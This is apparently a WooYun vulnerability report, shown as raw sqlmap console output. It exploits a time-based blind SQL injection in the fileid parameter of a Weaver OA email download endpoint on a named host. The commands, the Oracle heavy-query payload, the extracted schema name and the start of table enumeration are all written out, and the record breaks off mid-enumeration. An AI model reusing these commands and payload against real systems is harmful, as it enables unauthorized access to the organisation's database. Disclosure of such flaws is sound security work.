WooYun.org

C:\Users\Administrator>sqlmap.py -u "http://oa.52mf.cn/weaver/weaver.email.FileD
ownloadLocation?fileid=32*&download=1"  --dbms=oracle  --current-db

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: http://oa.52mf.cn:80/weaver/weaver.email.FileDownloadLocation?filei
d=32 AND 5729=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_U
SERS T4,ALL_USERS T5)&download=1
---
[21:22:59] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[21:22:59] [INFO] fetching current database
[21:22:59] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[21:23:28] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[21:23:42] [INFO] adjusting time delay to 2 seconds due to good response times
[21:23:52] [ERROR] invalid character detected. retrying..
[21:23:52] [WARNING] increasing time delay to 3 seconds
ECOLOGY
[21:27:31] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle):    'ECOLOGY'
[21:27:31] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\oa.52mf.cn'

C:\Users\Administrator>sqlmap.py -u "http://oa.52mf.cn/weaver/weaver.email.FileD
ownloadLocation?fileid=32*&download=1"  --dbms=oracle  -D ECOLOGY --tables

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: http://oa.52mf.cn:80/weaver/weaver.email.FileDownloadLocation?filei
d=32 AND 5729=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_U
SERS T4,ALL_USERS T5)&download=1
---
[21:34:43] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[21:34:43] [INFO] fetching tables for database: 'ECOLOGY'
[21:34:43] [INFO] fetching number of tables for database 'ECOLOGY'
[21:34:43] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[21:34:53] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
 more)
[21:34:53] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
1394
[21:37:10] [INFO] retrieved: BASE_F...